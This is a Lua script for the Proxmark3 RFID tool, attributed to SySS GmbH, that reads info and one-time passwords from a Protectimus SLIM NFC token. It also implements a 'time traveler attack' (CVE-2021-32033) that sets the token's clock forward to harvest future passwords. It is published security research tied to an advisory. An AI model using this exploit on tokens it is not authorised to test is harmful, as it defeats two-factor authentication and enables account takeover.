mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2024-12-28 03:14:53 +08:00
427 lines
13 KiB
Lua
427 lines
13 KiB
Lua
local cmds = require('commands')
|
|
local getopt = require('getopt')
|
|
local lib14a = require('read14a')
|
|
local utils = require('utils')
|
|
local ansicolors = require('ansicolors')
|
|
|
|
copyright = '(c) 2021 SySS GmbH'
|
|
author = 'Matthias Deeg'
|
|
version = 'v0.8'
|
|
desc = [[
|
|
This script can perform different operations on a Protectimus SLIM NFC
|
|
hardware token - including a time traveler attack. See: SYSS-2021-007 (CVE-2021-32033)
|
|
]]
|
|
example = [[
|
|
-- default
|
|
script run hf_14a_protectimus_nfc
|
|
]]
|
|
usage = [[
|
|
script run hf_14a_protectimus_nfc [-h | -i | -r | -t 2029-01-01T13:37:00+01:00]
|
|
]]
|
|
arguments = [[
|
|
-h This help
|
|
-i Read token info (e.g. firmware version, OTP interval)
|
|
-r Read the current one-time password (OTP)
|
|
-t Perform a time traveler attack to a specific datetime (yyyy-mm-ddTHH:MM:SS+HO:MO)
|
|
e.g. 2029-01-01T13:37:00+01:00
|
|
]]
|
|
|
|
-- Some globals
|
|
local DEBUG = false -- the debug flag
|
|
|
|
-- Defined operations
|
|
local READ_OTP = 1 -- read the one-time password
|
|
local READ_INFO = 2 -- read the NFC token info
|
|
local TIME_TRAVELER_ATTACK = 3 -- perform a time traveler attack
|
|
|
|
-- A debug printout function
|
|
local function dbg(args)
|
|
if not DEBUG then return end
|
|
if type(args) == 'table' then
|
|
local i = 1
|
|
while args[i] do
|
|
dbg(args[i])
|
|
i = i + 1
|
|
end
|
|
else
|
|
print('###', args)
|
|
end
|
|
end
|
|
|
|
-- This is only meant to be used when errors occur
|
|
local function oops(err)
|
|
print('ERROR:', err)
|
|
core.clearCommandBuffer()
|
|
return nil, err
|
|
end
|
|
|
|
-- Usage help
|
|
local function help()
|
|
print(copyright)
|
|
print(author)
|
|
print(version)
|
|
print(desc)
|
|
print(ansicolors.cyan .. 'Usage' .. ansicolors.reset)
|
|
print(usage)
|
|
print(ansicolors.cyan .. 'Arguments' .. ansicolors.reset)
|
|
print(arguments)
|
|
print(ansicolors.cyan .. 'Example usage' .. ansicolors.reset)
|
|
print(example)
|
|
end
|
|
|
|
-- Get the Unix time (epoch) for a datetime string (yyyy-mm-ddTHH:MM:SS+HO:MO)
|
|
function getUnixTime(datetime)
|
|
|
|
-- get time delta regarding Coordinated Universal Time (UTC)
|
|
local now_local = os.time()
|
|
local time_delta_to_utc = os.difftime(now_local, os.time(os.date("!*t", now_local)))
|
|
local hour_offset, minute_offset = math.modf(time_delta_to_utc / 3600)
|
|
|
|
-- try to match datetime pattern "yyyy-mm-ddTHH:MM:SS"
|
|
local datetime_pattern = "(%d+)-(%d+)-(%d+)T(%d+):(%d+):(%d+)+(%d+):(%d+)"
|
|
local new_year, new_month, new_day, new_hour, new_minute, new_seconds, new_hour_offset, new_minute_offset = datetime:match(datetime_pattern)
|
|
|
|
if new_year == nil or new_month == nil or new_day == nil or
|
|
new_hour == nil or new_minute == nil or new_seconds == nil or
|
|
new_hour_offset == nil or new_minute_offset == nil then
|
|
|
|
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not parse the given datetime\n" ..
|
|
" Use the following format: yyyy-mm-ddTHH:MM:SS+HO:MO\n" ..
|
|
" e.g. 2029-01-01T13:37:00+01:00")
|
|
return nil
|
|
end
|
|
|
|
-- get the requested datetime as Unix time (UTC)
|
|
local epoch = os.time({year = new_year, month = new_month, day = new_day, hour = new_hour + hour_offset - new_hour_offset,
|
|
min = new_minute + minute_offset - new_minute_offset, sec = new_seconds})
|
|
|
|
return epoch
|
|
end
|
|
|
|
-- Send a "raw" IOS 14443-A package, i.e. "hf 14a raw" command
|
|
function sendRaw(rawdata, options)
|
|
|
|
-- send raw
|
|
local flags = lib14a.ISO14A_COMMAND.ISO14A_NO_DISCONNECT
|
|
+ lib14a.ISO14A_COMMAND.ISO14A_RAW
|
|
+ lib14a.ISO14A_COMMAND.ISO14A_APPEND_CRC
|
|
|
|
local command = Command:newMIX{
|
|
cmd = cmds.CMD_HF_ISO14443A_READER,
|
|
|
|
-- arg1 is the defined flags for sending "raw" ISO 14443A package
|
|
arg1 = flags,
|
|
|
|
-- arg2 contains the length, which is half the length of the ASCII
|
|
-- string data
|
|
arg2 = string.len(rawdata) / 2,
|
|
data = rawdata
|
|
}
|
|
|
|
return command:sendMIX(options.ignore_response)
|
|
end
|
|
|
|
-- Read the current one-time password (OTP)
|
|
function readOTP(show_output)
|
|
-- read OTP command
|
|
local cmd = "028603420042"
|
|
local otp_value = ''
|
|
|
|
if show_output then
|
|
print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Try to read one-time password (OTP)")
|
|
end
|
|
|
|
-- send the raw command
|
|
res, err = sendRaw(cmd , {ignore_response = ignore_response})
|
|
if err then
|
|
lib14a.disconnect()
|
|
return oops(err)
|
|
end
|
|
|
|
-- parse the response
|
|
local cmd_response = Command.parse(res)
|
|
local len = tonumber(cmd_response.arg1) * 2
|
|
local data = string.sub(tostring(cmd_response.data), 0, len - 4)
|
|
|
|
-- check the response
|
|
if len == 0 then
|
|
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the OTP")
|
|
return nil
|
|
end
|
|
|
|
if data:sub(0, 8) == "02AA0842" then
|
|
-- extract the binary-coded decimal (BCD) OTP value from the response
|
|
for i = 10, #data - 2, 2 do
|
|
local c = data:sub(i, i)
|
|
otp_value = otp_value .. c
|
|
end
|
|
|
|
-- show the output if requested
|
|
if show_output then
|
|
print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] OTP: " .. ansicolors.green .. otp_value .. ansicolors.reset)
|
|
end
|
|
else
|
|
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the OTP")
|
|
otp_value = nil
|
|
end
|
|
|
|
return otp_value
|
|
end
|
|
|
|
-- Read token info
|
|
function readInfo(show_output)
|
|
-- read info command
|
|
local cmd = "0286021010"
|
|
|
|
if show_output then
|
|
print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Try to read token info")
|
|
end
|
|
|
|
-- send the raw command
|
|
res, err = sendRaw(cmd , {ignore_response = ignore_response})
|
|
if err then
|
|
lib14a.disconnect()
|
|
return oops(err)
|
|
end
|
|
|
|
-- parse the response
|
|
local cmd_response = Command.parse(res)
|
|
local len = tonumber(cmd_response.arg1) * 2
|
|
local data = string.sub(tostring(cmd_response.data), 0, len - 4)
|
|
|
|
-- check the response
|
|
if len == 0 then
|
|
print("[-] Error: Could not read the token info")
|
|
return nil
|
|
end
|
|
|
|
if data:sub(0, 8) == "02AA0B10" then
|
|
-- extract the token info from the response
|
|
local hardware_schema = tonumber(data:sub(11, 12))
|
|
local firmware_version_major = tonumber(data:sub(13, 14))
|
|
local firmware_version_minor = tonumber(data:sub(13, 14))
|
|
local hardware_rtc = tonumber(data:sub(19, 20))
|
|
local otp_interval = tonumber(data:sub(23, 24))
|
|
|
|
local info = "[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Token info\n" ..
|
|
" Hardware schema: " .. ansicolors.green .. "%s" .. ansicolors.reset .."\n" ..
|
|
" Firmware version: " .. ansicolors.green .. "%s.%s" .. ansicolors.reset .. "\n" ..
|
|
" Hardware RTC: " .. ansicolors.green .. "%s" .. ansicolors.reset .. "\n" ..
|
|
" OTP interval: " .. ansicolors.green .. "%s" .. ansicolors.reset
|
|
|
|
-- check hardware real-time clock (RTC)
|
|
if hardware_rtc == 1 then
|
|
hardware_rtc = true
|
|
else
|
|
hardware_rtc = false
|
|
end
|
|
|
|
-- check one-time password interval
|
|
if otp_interval == 0 then
|
|
otp_interval = '30'
|
|
elseif otp_interval == 10 then
|
|
otp_interval = '60'
|
|
else
|
|
otp_interval = 'unknown'
|
|
end
|
|
|
|
if show_output then
|
|
-- show the token info
|
|
print(string.format(info, hardware_schema, firmware_version_major,
|
|
firmware_version_minor, hardware_rtc,
|
|
otp_interval))
|
|
end
|
|
|
|
return otp_interval
|
|
else
|
|
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the token info")
|
|
otp_value = nil
|
|
end
|
|
|
|
return info
|
|
end
|
|
|
|
-- Bruteforce commands
|
|
function bruteforceCommands()
|
|
-- read OTP command
|
|
local cmd = ''
|
|
|
|
if show_output then
|
|
print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Bruteforce commands")
|
|
end
|
|
|
|
for n = 0, 255 do
|
|
cmd = string.format("028602%d%d", n)
|
|
|
|
print(string.format("[+] Send command %s", cmd))
|
|
|
|
-- send the raw command
|
|
res, err = sendRaw(cmd , {ignore_response = ignore_response})
|
|
if err then
|
|
lib14a.disconnect()
|
|
return oops(err)
|
|
end
|
|
|
|
-- parse the response
|
|
local cmd_response = Command.parse(res)
|
|
local len = tonumber(cmd_response.arg1) * 2
|
|
local data = string.sub(tostring(cmd_response.data), 0, len - 4)
|
|
|
|
-- check the response
|
|
if len == 0 then
|
|
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: No response")
|
|
else
|
|
print(data)
|
|
end
|
|
|
|
io.read(1)
|
|
end
|
|
end
|
|
|
|
|
|
-- Set an arbitrary Unix time (epoch)
|
|
function setTime(time, otp_interval)
|
|
-- calculate the two required time variables
|
|
local time_var1 = math.floor(time / otp_interval)
|
|
local time_var2 = math.floor(time % otp_interval)
|
|
|
|
-- build the raw command data
|
|
local data = "120000" ..string.format("%02x", otp_interval) .. string.format("%08x", time_var1) .. string.format("%02x", time_var2)
|
|
|
|
-- calculate XOR checksum on data
|
|
local checksum = 0
|
|
for i = 1, #data, 2 do
|
|
local c = data:sub(i, i + 1)
|
|
checksum = bit32.bxor(checksum , tonumber(c, 16))
|
|
end
|
|
|
|
-- build the complete raw command
|
|
local cmd = "0286" .. string.format("%02x", string.len(data) / 2 + 1) .. data .. string.format("%02x", checksum)
|
|
|
|
print(string.format("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Set Unix time " .. ansicolors.yellow .. "%d" .. ansicolors.reset, time))
|
|
|
|
-- send raw command
|
|
res, err = sendRaw(cmd , {ignore_response = ignore_response})
|
|
if err then
|
|
lib14a.disconnect()
|
|
return oops(err)
|
|
end
|
|
|
|
-- parse the response
|
|
local cmd_response = Command.parse(res)
|
|
local len = tonumber(cmd_response.arg1) * 2
|
|
local data = string.sub(tostring(cmd_response.data), 0, len - 4)
|
|
end
|
|
|
|
-- Set the current time
|
|
function setCurrentTime(otp_interval)
|
|
-- get the current Unix time (epoch)
|
|
local current_time = os.time(os.date("*t"))
|
|
setTime(current_time, otp_interval)
|
|
end
|
|
|
|
-- Perform a time travel attack for generating a future OTP
|
|
function timeTravelAttack(datetime_string, otp_interval)
|
|
if nil == datetime_string then
|
|
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: No valid datetime string given")
|
|
return nil
|
|
end
|
|
|
|
-- get the future time as Unix time
|
|
local future_time = getUnixTime(datetime_string)
|
|
|
|
if nil == future_time then
|
|
return
|
|
end
|
|
|
|
-- set the future time
|
|
setTime(future_time, otp_interval)
|
|
|
|
print("[" .. ansicolors.red .. "!" .. ansicolors.reset .. "] Please power the token and press <ENTER>")
|
|
-- while loop do
|
|
io.read(1)
|
|
|
|
-- read the OTP
|
|
local otp = readOTP(false)
|
|
print(string.format("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] The future OTP on " ..
|
|
ansicolors.yellow .. "%s (%d) " .. ansicolors.reset .. "is " ..
|
|
ansicolors.green .. "%s" .. ansicolors.reset, datetime_string, future_time, otp))
|
|
|
|
-- reset the current time
|
|
setCurrentTime(otp_interval)
|
|
end
|
|
|
|
-- Show a fancy banner
|
|
function banner()
|
|
print(string.format("Proxmark3 Protectimus SLIM NFC Script %s by Matthias Deeg - SySS GmbH\n" ..
|
|
"Perform different operations on a Protectimus SLIM NFC hardware token", version))
|
|
end
|
|
|
|
-- The main entry point
|
|
function main(args)
|
|
local ignore_response = false
|
|
local no_rats = false
|
|
local operation = READ_OTP
|
|
local target_time = nil
|
|
|
|
-- show a fancy banner
|
|
banner()
|
|
|
|
-- read the parameters
|
|
for o, a in getopt.getopt(args, 'hirt:b') do
|
|
if o == 'h' then return help() end
|
|
if o == 'i' then operation = READ_INFO end
|
|
if o == 'r' then operation = READ_OTP end
|
|
if o == 't' then
|
|
operation = TIME_TRAVELER_ATTACK
|
|
target_time = a
|
|
end
|
|
if o == 'b' then bruteforceCommands() end
|
|
end
|
|
|
|
-- connect to the TOTP hardware token
|
|
info, err = lib14a.read(true, no_rats)
|
|
if err then
|
|
lib14a.disconnect()
|
|
return oops(err)
|
|
end
|
|
|
|
-- show tag info
|
|
print(("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Found token with UID " .. ansicolors.green .. "%s" .. ansicolors.reset):format(info.uid))
|
|
|
|
-- perform the requested operation
|
|
if operation == READ_OTP then
|
|
readOTP(true)
|
|
elseif operation == READ_INFO then
|
|
readInfo(true)
|
|
elseif operation == TIME_TRAVELER_ATTACK then
|
|
-- read token info and get OTP interval
|
|
local otp_interval = readInfo(false)
|
|
if nil == otp_interval then
|
|
return
|
|
end
|
|
-- perform time traveler attack
|
|
timeTravelAttack(target_time, otp_interval)
|
|
end
|
|
|
|
-- disconnect
|
|
lib14a.disconnect()
|
|
end
|
|
|
|
-------------------------
|
|
-- Testing
|
|
-------------------------
|
|
function selftest()
|
|
DEBUG = true
|
|
dbg('Performing test')
|
|
main()
|
|
dbg('Tests done')
|
|
end
|
|
-- Flip the switch here to perform a sanity check.
|
|
-- It read a nonce in two different ways, as specified in the usage-section
|
|
if '--test' == args then
|
|
selftest()
|
|
else
|
|
-- Call the main
|
|
main(args)
|
|
end
|